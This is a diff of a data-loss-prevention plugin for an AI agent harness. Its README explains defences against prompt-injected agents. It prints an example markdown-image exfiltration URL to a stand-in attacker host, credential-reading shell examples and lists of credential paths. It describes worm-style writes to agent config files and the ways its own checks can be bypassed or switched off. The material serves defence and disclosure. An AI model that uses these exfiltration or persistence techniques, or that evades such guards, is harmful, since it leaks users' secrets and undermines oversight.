dsh-dlp 0.2.0 → 0.4.0

package/README.md

@@ -3,7 +3,7 @@
 Data-loss prevention for [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness),
 built as an out-of-repo plugin.
 
-It does five things:
+It does seven things:
 
 1. **Denies credential-file access and secrets bound for the network** — unconditionally, from
    `ctx.tools.guard()`. It tests the path-typed arguments of a call against a table of
@@ -15,7 +15,16 @@ It does five things:
 4. **Strips the invisible characters that carry hidden instructions** out of tool results —
    the Tags block and bidi overrides — and counts the classes it will not touch because they
    also appear in legitimate text.
-5. **Writes an audit record for every decision** to its own sink — rule id, rule version,
+5. **Neutralises remote markdown images in assistant output**, and detects a tool call another
+   plugin rewrote after the session log recorded it. Both are partial mitigations for defects
+   in the harness rather than in your configuration —
+   [see below](#mitigations-for-defects-in-the-harness-itself), including what they do not close.
+6. **Asks before the agent writes a file that changes future behaviour** — agent settings and
+   hooks, `CLAUDE.md`, `.cursor/rules/**`, `.vscode/tasks.json`, `.mcp.json`, git hooks, CI
+   workflows, shell startup files — and before it writes a `*_BASE_URL` that would redirect a
+   provider credential. This tier prompts rather than denying, and is neutralizable;
+   [see below](#behaviour-changing-config-paths).
+7. **Writes an audit record for every decision** to its own sink — rule id, rule version,
    offsets, and a keyed hash. Never the secret, and never the path or command that matched.
    `dsh-dlp report` reads that sink back.
 
@@ -34,6 +43,12 @@ egress firewalling. Use this alongside them, not instead of them.
 
 More limits worth stating up front:
 
+- **Only the guard floor is unconditional.** Every other seam can be neutralised by a listener
+  registered ahead of ours: a `tools/pre-execute` listener that returns without calling `next()`
+  disables the breadth tier, and a `tools/post-execute` listener ahead of ours can replace a
+  result after it was redacted. `ctx.tools.guard()` is order-independent only because it has no
+  allow arm. A `tools/pre-execute` deny also skips guards entirely, so the audit sink cannot
+  claim to have seen every call.
 - **The shell-command arm is advisory pattern-matching.** A `bash` command line is split on
   shell-ish separators and each token is tested as a path. That catches an unobfuscated
   `cat ~/.ssh/id_rsa`. It catches nothing that tries: `cat ~/.netr?` (one glob character),
@@ -50,7 +65,8 @@ More limits worth stating up front:
 - **Already-logged history cannot be rewritten; a not-yet-logged inbound message can.** At
   `llm/stream` the options are deep-frozen and `next()` takes no arguments, so a request the
   agent has assembled goes out as it stands and a secret already in the conversation reaches
-  the provider. That is not the whole rule, though: `agent/pre-step` is an async waterfall
+  the provider. (The same waterfall's *response* side is writable, and that is where remote
+  image destinations are neutralised — see below.) That is not the whole rule, though: `agent/pre-step` is an async waterfall
   returning `{ kind: 'enter'; messages }`, and the only production append of `user/message`
   happens *after* it, so a message arriving from outside can still be rewritten before it is
   logged or presented. This release does not do that; it is recorded here because the earlier
@@ -71,8 +87,143 @@ More limits worth stating up front:
   is 100% for anything up to 22 characters, which is most of the credential formats worth
   catching. A detector that fires on the long ones the prefix rules already catch and misses
   the rest is not worth the false positives it costs.
+- **A secret containing a delimiter can still be split across two redactions.** Every reported
+  span grows outward to the nearest delimiter, which over-redacts in the safe direction, but a
+  secret whose own text contains one of those delimiters is covered by two placeholders with the
+  delimiter left between them.
+- **`additionalContexts` are not scanned.** They are model-visible `UserMessage` payloads and
+  this release does not redact them.
+- **Local writes are out of scope.** A `write` or `edit` into a synced directory moves data off
+  the machine without going through an egress-capable tool.
+- **Telemetry redaction covers a mounted backend's records only.** A second exporter mounted
+  outside the `session-telemetry/record` waterfall is not covered.
+- **`$DSH_HOME` is readable by a read-only tool.** Profile manifests and the installed plugin
+  tree are ordinary work to read, so which plugins a profile loads is model-visible. Only writes
+  are denied wholesale there, plus reads of the credential material inside it.
 
-The full list is in [PLAN.md §8](PLAN.md).
+---
+
+## Mitigations for defects in the harness itself
+
+Three of this plugin's registrations work around defects in DeepSeek Harness, not in a
+deployment's configuration. **None of them closes its channel**, an upstream fix is better in
+all three cases, and each is written up in `../disclosures/findings/`. They are here because we
+build on these seams today and wanted the accident case narrowed while the upstream question is
+open.
+
+### Remote markdown images in assistant output (finding 001)
+
+The web UI renders any absolute `http(s)` markdown image a model emits as a real `<img src>`,
+and the harness sets no Content-Security-Policy. An injected agent emitting
+`![](https://attacker.test/?d=<base64 of something you said>)` makes **your browser** issue that
+request; the harness process never sees it, so no guard, no DLP pass and no audit surface here
+can observe it.
+
+This plugin wraps the `llm/stream` waterfall and replaces the destination of every inline
+markdown image whose target is an absolute `http:`/`https:` URL, keeping the alt text:
+
+```
+![receipt](https://attacker.test/p?d=c2VjcmV0)   ->   ![receipt](dsh-dlp-blocked-remote-image)
+```
+
+The placeholder is deliberately not a URL, so the renderer takes its own "not an absolute
+destination" arm and shows the alt text instead of fetching anything. Rewriting happens before
+the text becomes an `assistant/chunk` or `assistant/message` event, so the session log and the
+rendered answer agree, and it happens on streamed deltas too — a destination arriving eight
+characters at a time is caught before any accumulation of it can render. The audit record names
+the **hostname only**, never the path or query string, because that is where an exfiltration
+payload rides.
+
+What it does not close:
+
+- **Only inline image syntax is matched.** A reference-style image (`![alt][ref]` with a
+  `[ref]: https://…` definition elsewhere) still renders and still fetches. We do not neutralise
+  those, because the definition is shared with ordinary links and killing it would break them.
+- **A destination form the pattern does not model gets through** — an alt text containing `]`,
+  unusual percent-encodings, or any future renderer-accepted syntax.
+- **Reasoning text is not touched**, because the UI renders it as plain text rather than
+  markdown. If that changes upstream, this stops covering it.
+- Raw HTML needs no handling: the renderer keeps `<img …>` as literal text and no HTML enters
+  the DOM. That is upstream doing the right thing, and it is why this only has to handle
+  markdown.
+- **This is a real behavioural change.** An assistant answer that legitimately links an image
+  loses it — the user sees the alt text instead of the picture. That is why it is a switch:
+  `remoteImageNeutralization: false` turns it off, and a deployment whose agents produce useful
+  images should turn it off and set a CSP at whatever serves the UI instead.
+- **The upstream fix is one `img-src` directive** in a Content-Security-Policy. That covers
+  every form, every client, and every channel of this shape at once. This plugin's version
+  covers the common syntax on one seam. Prefer the directive.
+
+### A tool call rewritten between `tools/pre-execute` and the guard (finding 002)
+
+The registry deep-freezes `exec.arguments` but does not freeze the execution object until
+results are notified. A `tools/pre-execute` listener can therefore reassign `exec.arguments` or
+`exec.name` — and reassigning `exec.name` **changes which tool body runs** — while the agent
+loop appended `tool/call` from the model's own response block *before* the waterfall ran. The
+durable record then describes a call that never happened, and nothing warns anyone.
+
+This plugin snapshots each call's name and a keyed digest of its arguments at the head of the
+waterfall, and compares in the guard, which runs after the whole waterfall. A mismatch is
+**denied**, with an audit record naming which field changed and, when the name changed, the tool
+the log recorded:
+
+```
+dsh-dlp denied "dangerous": another mounted plugin rewrote this call's name after the session
+log recorded it, so the log and the presented call describe something other than what would
+have run. The session log records a call to "safe". ...
+```
+
+What it does not close:
+
+- **It detects; it does not prevent.** Preventing the rewrite means freezing an object this
+  plugin does not own, which would break `tools/execute` wrappers that legitimately replace
+  `exec.signal`. The tool body does not run, but the mutation still happened.
+- **The snapshot is best-effort, not a floor.** It is registered with `{ prepend: true }`, so it
+  runs before listeners registered earlier — but a listener registered *later* with the same
+  option runs ahead of it and would be snapshotted after its own rewrite.
+- **A call this plugin never saw is never a finding.** Absence of a snapshot means abstain, so
+  scoped dispatches this listener does not receive pass unremarked rather than being denied.
+- **It says nothing about other plugins' decisions.** A `deny` or an `ask` from another
+  `tools/pre-execute` listener is ordinary traffic; a deny also skips the guard entirely, so
+  nothing here is even consulted.
+- **The upstream fix is better**: two `Object.defineProperty(execution, …, { writable: false })`
+  calls at the mint site, or a scheduler-invariant throw naming the offending plugin. Either
+  makes the rewrite impossible or fatal at the source instead of denying a call downstream of
+  it. This check is not configurable, for the same reason the rest of the floor is not.
+
+### The telemetry redactor cannot run under the shipped default (finding 008)
+
+A `session-telemetry/record` listener mounts successfully and **silently never runs** under the
+shipped `DSH_TELEMETRY_MODE=DISABLED`, because the coordinator that dispatches the waterfall is
+constructed only in `FULL`/`FEEDBACK_ONLY`. Nothing is exported in that mode, so this is not a
+leak — it is a verification trap: you mount a redactor, see it mount, and have verified nothing.
+
+When `telemetryRedaction` is on, this plugin reads the mounted backend's own `sharing`
+disclosure and reports on `process.stderr` **and** `ctx.logger` when the seam will never
+dispatch:
+
+```
+dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports
+sharing "disabled", so nothing dispatches the session-telemetry/record waterfall and this
+plugin's telemetry redaction never runs. Nothing is exported in this state, so this is not a
+leak — it means the redaction rules are unverified, and they begin running the moment
+telemetry is turned on. Informational only: the plugin's other seams are unaffected.
+```
+
+What it does not close:
+
+- **It is informational and never fatal.** `DISABLED` is the safe default and the right posture
+  for most deployments; the plugin mounts and every other seam runs normally.
+- **It reads a disclosure, not the environment.** `DSH_TELEMETRY_MODE` is only the base
+  bundle's default expression for a `mode` a deployment can also set directly, so guessing at
+  the variable would be wrong. If a backend discloses `full` or `feedback-only` while
+  dispatching nothing, this says nothing.
+- **A backend that mounts after this plugin is answered late.** The check runs at mount if the
+  service is already there and otherwise at the first session event, because absence at mount
+  cannot be told apart from a load order.
+- **The upstream fix is better**: warn at mount when a `session-telemetry/record` hook exists
+  under `DISABLED`, or construct the coordinator unconditionally and drop after the waterfall.
+  Either makes the trap visible for every listener, not only ours.
 
 ---
 
@@ -102,7 +253,7 @@ checkout, build first and add the tarball:
 ```sh
 git clone https://github.com/CharlotteN7/dsh-dlp && cd dsh-dlp
 pnpm install && pnpm run build && pnpm pack
-dsh plugin --profile <name> add ./dsh-dlp-0.1.0.tgz
+dsh plugin --profile <name> add ./dsh-dlp-0.3.0.tgz
 ```
 
 ## Configure
@@ -118,7 +269,9 @@ dsh plugin --profile <name> add ./dsh-dlp-0.1.0.tgz
     breadthTier: true
     resultRedaction: true
     telemetryRedaction: true
+    remoteImageNeutralization: true
     redactTelemetryWorkspacePaths: true
+    configWriteAsk: true
 ```
 
 `redactionKeyFile` is created on first mount with 32 random bytes at mode `0600`. Keep it out
@@ -148,7 +301,7 @@ addCredentialPaths:
 addEgressTools: [acme_publish]
 raiseSeverity:
   dsh-dlp/secret-assignment: high
-enable: [telemetryRedaction]
+enable: [telemetryRedaction, configWriteAsk]
 ```
 
 Any other key, and any downgrade, makes the **whole file invalid**: it is reported on
@@ -181,6 +334,22 @@ directories (but not `.env.example`), anything under `.ssh/`,
 documentation extensions are excluded from that last rule, so `src/auth/token.ts` stays
 readable.
 
+**Coding-agent and infrastructure credential stores**, which IronWorm's 44 packages and
+SANDWORM_MODE name verbatim: an `auth.json` under `.codex/`, `Cursor/`, `.composer/`,
+`.windsurf/`, `.continue/`, `.aider/`, `.claude/` or `.gemini/`; an `mcp.json` under any of the
+same directories, because an MCP manifest carries each server's `env` and that is where its API
+keys are written; Cursor's `state.vscdb` session database; anything under `Library/Keychains/`;
+`*.tfvars` and `terraform.tfstate`, which hold provider credentials in plaintext.
+
+**A home-level agent settings file is denied for writing only.** `~/.claude/settings.json`,
+`~/.gemini/settings.json` and the equivalents for Codex, Cursor, Windsurf and Continue decide
+how every future session in every repository behaves — this is where the Miasma worm put its
+`SessionStart` hooks — so writing one is on the floor. Reading one is ordinary work, since a
+user asking why their agent behaves a certain way is a normal request, so the rule is lifted for
+a tool that provably cannot change anything. The **repository-local** copies of those same file
+names are a different question with a different answer: see
+[behaviour-changing config paths](#behaviour-changing-config-paths) below.
+
 Also denied for every tool: this plugin's own `redactionKeyFile` and `auditLog`.
 
 **`$DSH_HOME` is split by direction.** Every *write* under the harness home is denied, for
@@ -235,6 +404,69 @@ need, or use a path that is not a credential store.
 
 ---
 
+## Behaviour-changing config paths
+
+Everything above governs **reads**. The dominant technique of 2026 is the opposite: the agent
+*writes* a file that changes what happens next time. The Miasma worm put `SessionStart` hooks in
+`.claude/settings.json` and `.gemini/settings.json`, an always-apply `.cursor/rules/setup.mdc`,
+a `folderOpen` task in `.vscode/tasks.json` and a hijacked `npm test` into `Azure/durabletask`;
+GitHub disabled 73 repositories across Azure, microsoft and Azure-Samples over it, 39 of them
+inside 38 seconds. See also CVE-2025-53773, CVE-2026-25725, CVE-2026-33068, CVE-2026-48124,
+CVE-2026-26268 and CVE-2025-59041.
+
+A write to one of these **asks the user first**:
+
+| Rule | Paths |
+|---|---|
+| `config-agent-settings` | `.claude/settings*.json`, and the same under `.gemini/`, `.codex/`, `.cursor/`, `.windsurf/`, `.continue/` |
+| `config-agent-hooks` | `.claude/hooks/**` and the same under the other agent directories |
+| `config-agent-instructions` | `CLAUDE.md`, `AGENTS.md`, `GEMINI.md`, `.cursorrules`, `.windsurfrules` |
+| `config-agent-rules` | `.cursor/rules/**`, `.windsurf/rules/**`, `.continue/rules/**` |
+| `config-mcp-manifest` | `.mcp.json` |
+| `config-editor-tasks` | `.vscode/settings.json`, `.vscode/tasks.json`, `.vscode/launch.json` |
+| `config-git` | `.git/config`, `.git/hooks/**` |
+| `config-git-hooks-managed` | `.husky/**` |
+| `config-ci-workflow` | `.github/workflows/**`, `.gitlab-ci.yml`, `.circleci/**` |
+| `config-shell-rc` | `.bashrc`, `.bash_profile`, `.profile`, `.zshrc`, `.zprofile`, `.zshenv`, `.kshrc`, `config.fish`, … |
+| `config-harness-bundle` | `cordis*.yml` |
+| `config-api-base-url` | not a path — content setting a `*_BASE_URL` or `*_API_BASE` to an `http(s)` URL |
+
+The last row is CVE-2026-21852: a repo-local settings file that sets `ANTHROPIC_BASE_URL` sends
+the user's own API key to whatever host it names. That is neither a path nor a secret — it is a
+config key whose *value* redirects a credential — so it is matched against the bytes the call
+would write rather than against where they would go.
+
+**Rules match by name, so creating a file is covered as well as changing one.** CVE-2026-25725
+worked precisely because the path did not exist yet and was therefore writable with nothing to
+prompt about.
+
+**This tier is `ask`, and it is therefore neutralizable — unlike the floor.** That is deliberate
+and it is the important sentence in this section. A developer asks the agent to edit `CLAUDE.md`
+or add a workflow constantly; the guard floor is deny-only and non-overridable by design, so a
+rule with that false-positive rate must not go there. It lives at `tools/pre-execute`, which
+means a listener registered ahead of ours can return without calling `next()` and switch the
+whole tier off. Treat it as a prompt, not as a control.
+
+**A call the floor already denies is left to the floor**, and no prompt appears for it. Any
+non-allow decision at `tools/pre-execute` skips guards entirely, so asking about a call the
+guard would deny would replace an unconditional denial with a prompt a user can grant. That is
+also why `~/.claude/settings.json` and a repository's own `.claude/settings.json` behave
+differently: the first is on the floor, the second is a prompt.
+
+Two more limits worth stating:
+
+- **A shell redirection is not covered.** Only path-typed arguments are tested, and unlike the
+  floor the command line is not tokenised: a shell command cannot be told apart from a *read* of
+  the same file, and prompting on `cat .github/workflows/ci.yml` is exactly the false positive
+  that gets a tier switched off.
+- **With no approval service mounted, the tier abstains rather than denying.** The registry
+  resolves an `ask` through `ctx.get('approval')` and degrades to a *denial* when nothing is
+  composed — which would turn this tier into the silent hard deny it was designed not to be. It
+  reports once on `process.stderr` and `ctx.logger` and lets the call through. `configWriteAsk:
+  false` turns it off entirely.
+
+---
+
 ## What gets redacted
 
 A redacted region becomes:
@@ -283,10 +515,16 @@ the redacted copy.
 Two tiers:
 
 - **Tier 1**, synchronous and owned by this package: prefix-anchored token formats (AWS,
-  GitHub, Slack, Stripe, OpenAI, Anthropic, Google, npm), PEM private-key blocks, JWTs,
-  credential-bearing URLs, Slack/Discord/Teams webhook URLs, and high-signal secret
-  assignments. This is the tier the guard and the telemetry listener use, because both of
-  those seams are synchronous, and it is never capped.
+  GitHub, GitLab, Slack, Stripe, OpenAI, OpenRouter, Anthropic, Google API keys and
+  `GOCSPX-` OAuth client secrets, npm, HuggingFace, Groq, xAI, Databricks, SendGrid,
+  Supabase, Notion), PEM private-key blocks, JWTs, credential-bearing URLs,
+  Slack/Discord/Teams webhook URLs, and high-signal secret assignments. This is the tier the
+  guard and the telemetry listener use, because both of those seams are synchronous, and it is
+  never capped.
+
+  Prefix-anchored is the whole criterion for being in this tier, and the reason the table keeps
+  growing rather than deferring to tier 2 is the line below: **the telemetry seam cannot reach
+  tier 2**, so a format missing from tier 1 is exported in the clear when telemetry is on.
 - **Tier 2**, [`@secretlint/core`](https://github.com/secretlint/secretlint) with the
   recommended preset — 28 maintained rules, in-process, no subprocess. Used at
   `tools/pre-execute` and `tools/post-execute`, the two seams that can await. **The telemetry
@@ -309,7 +547,9 @@ session titles — and never on the tool-result path.
 | Bidi overrides and isolates | `U+202A–U+202E`, `U+2066–U+2069` | replaced |
 | Zero-width | `U+200B–U+200D`, `U+2060`, `U+FEFF` | counted only |
 | Bidi marks | `U+061C`, `U+200E–U+200F` | counted only |
-| Variation selectors | `U+FE00–U+FE0F`, `U+E0100–U+E01EF` | counted only |
+| Variation selectors, 1–3 in a row | `U+FE00–U+FE0F`, `U+E0100–U+E01EF` | counted only |
+| Variation selectors, 4 or more in a row | the same class | replaced |
+| Terminal control sequences | CSI, OSC, DCS, SOS, PM, APC, other `ESC` forms, C1 `U+0080–U+009F` | counted in tool results, **replaced in the audit sink** |
 
 The first two have no legitimate use in tool output — the Tags block is a full invisible ASCII
 alphabet, which is what makes it the standard carrier for a hidden instruction. The last three
@@ -322,6 +562,30 @@ character is never turned into a denial. A replaced run becomes an ordinary plac
 unlike a secret, is replaced exactly: an invisible character is not widened to its surrounding
 delimiters, so the visible word it hid inside survives.
 
+**Variation selectors are split by run length.** One selector picks a glyph — VS15/VS16 after a
+base character, one selector after one ideograph in an Ideographic Variation Sequence — so an
+isolated occurrence stays counted-only. A run of four or more is not glyph selection: it is a
+byte string wearing the same code points, which is how GlassWorm hid executable JavaScript
+across five waves, 35,800 installs, 300+ repositories and the first MCP package compromises. An
+emoji ZWJ sequence separates its selectors with a joiner, so no legitimate sequence produces a
+run at all; four is a conservative floor, and a real payload is hundreds of selectors long.
+
+**Terminal control sequences are split by lane rather than by class.** A tool result carrying
+SGR colour codes is the normal output of `git diff`, `rg` and `pytest`, so on that lane the
+class is counted and left alone. On the lane that ends in an audit record it is **replaced**
+with `[REDACTED:dsh-dlp:control-sequence]`, because a record is evidence and evidence must not
+be able to rewrite itself: `JSON.stringify` escapes the byte in the file, but `dsh-dlp report`,
+`jq -r` and every log viewer parse it back into a live escape, so a tool registered under a name
+containing `ESC [ 1 A ESC [ 2 K` could overwrite the audit line describing it. The whole CSI
+form is matched, not the SGR subset, along with OSC, DCS, SOS, PM, APC, the other escape forms
+and the 8-bit C1 controls; an unterminated OSC is matched to the end of the string, because that
+is how much of the display it would swallow. A repo-local `policyFile` whose rule `id` carries
+one is rejected outright, since a rule id is quoted in the denial the user reads.
+
+Not covered: a bare `\r`, `\b` or `\f` can still overprint a line on a terminal. Those have
+ordinary uses in tool output and are escaped by `JSON.stringify` in the sink; the escape-driven
+forms above are the ones with no benign use in a record.
+
 **A homoglyph defeats all of this**, and every other rule in this plugin. A Cyrillic `а` in
 `аdmin` is a normal, visible, legitimately-encoded character; detecting it means UTS #39
 confusable tables, which is a data set and a different cost class. This plugin does not attempt
@@ -383,7 +647,13 @@ its own identity.
 }
 ```
 
-`kind` is one of `guard-deny`, `pre-execute-deny`, `result-redaction`, `telemetry-redaction`.
+`kind` is one of `guard-deny`, `pre-execute-deny`, `pre-execute-ask`, `execution-mutation`,
+`result-redaction`, `telemetry-redaction`, `assistant-image-neutralized`. A `pre-execute-ask`
+record carries a top-level `ruleId` instead of `spans`: the finding is that a path names a
+behaviour-changing file, not that any region of it matched. An `execution-mutation` record carries
+`mutatedFields` and, when a tool substitution happened, the `originalTool` the log recorded. An
+`assistant-image-neutralized` record carries `host` — the hostname of the blocked destination
+and nothing else from the URL.
 A `result-redaction` record may also carry `unicode`, a count of invisible-character runs per
 class — counts only, because a hidden instruction is exactly the content this file must not
 repeat. A record is written whenever there is something to say, including a result that was

package/SECURITY.md

@@ -4,11 +4,12 @@
 
 | Version | Supported |
 |---|---|
-| 0.1.x | yes |
-| < 0.1 | no |
+| 0.3.x | yes |
+| < 0.3 | no |
 
-Only the latest published `0.1.x` receives fixes. There is no long-term-support branch while
-the package is pre-1.0.
+Only the latest published `0.3.x` receives fixes. There is no long-term-support branch while
+the package is pre-1.0: each minor supersedes the one before it, and a fix ships as the next
+`0.3.x` patch or, if the minor has already moved on, as the next minor.
 
 ## Reporting a vulnerability
 
@@ -29,7 +30,7 @@ otherwise.
 
 This plugin is **not a containment boundary**. It runs in-process at the agent's own uid, so
 anything the agent can execute can read the same files the guard denies. The following are
-documented limits, not vulnerabilities — they are described in README.md and PLAN.md §8:
+documented limits, not vulnerabilities — they are described in README.md:
 
 - shell-command obfuscation defeating the `bash` path arm (globbing, quoting, substitution, a
   different binary);
@@ -44,4 +45,11 @@ These do count, and we want to hear about them:
 - a secret surviving into the session log through a `tools/post-execute` arm;
 - a repo-local `policyFile` loosening any part of the floor, executing code, or stalling the
   agent;
-- any way to make the guard abstain that does not require executing code.
+- any way to make the guard abstain that does not require executing code;
+- a terminal control sequence, or any other forgeable bytes, reaching the audit sink or a
+  denial the user reads.
+
+The `ask` tier for behaviour-changing config paths is **not** part of the floor and is
+documented as neutralizable: it lives at `tools/pre-execute`, so a listener registered ahead of
+it disables it. A missed path there is a gap worth reporting; the fact that another plugin can
+switch the tier off is a stated design limit, not a vulnerability.

package/cordis.patch.yml

@@ -19,4 +19,6 @@
         breadthTier: true
         resultRedaction: true
         telemetryRedaction: true
+        remoteImageNeutralization: true
         redactTelemetryWorkspacePaths: true
+        configWriteAsk: true

package/lib/cli.js

@@ -16,7 +16,7 @@ import { readFileSync, realpathSync } from 'node:fs';
 import { fileURLToPath } from 'node:url';
 import { defaultAuditLog } from "./home.js";
 /** Decision kinds that stopped a call, as opposed to rewriting its result. */
-const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny']);
+const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny', 'execution-mutation']);
 /** How many decisions the report lists individually. */
 const RECENT_LIMIT = 10;
 /** Read one string field, or `undefined` when the line does not carry it. */
@@ -24,18 +24,22 @@ function stringField(record, key) {
     const value = record[key];
     return typeof value === 'string' ? value : undefined;
 }
-/** Rule ids named by a record's spans, in file order and without repeats. */
+/**
+ * Rule ids a record names, in file order and without repeats: one per span,
+ * plus the top-level `ruleId` a decision with no matched region carries.
+ */
 function ruleIdsOf(record) {
+    const named = stringField(record, 'ruleId');
     const spans = record['spans'];
     if (!Array.isArray(spans))
-        return [];
+        return named === undefined ? [] : [named];
     const ids = spans.flatMap((span) => {
         if (typeof span !== 'object' || span === null)
             return [];
         const ruleId = span['ruleId'];
         return typeof ruleId === 'string' ? [ruleId] : [];
     });
-    return [...new Set(ids)];
+    return [...new Set(named === undefined ? ids : [named, ...ids])];
 }
 /** Invisible-character counts a record carries, keeping only numeric entries. */
 function unicodeOf(record) {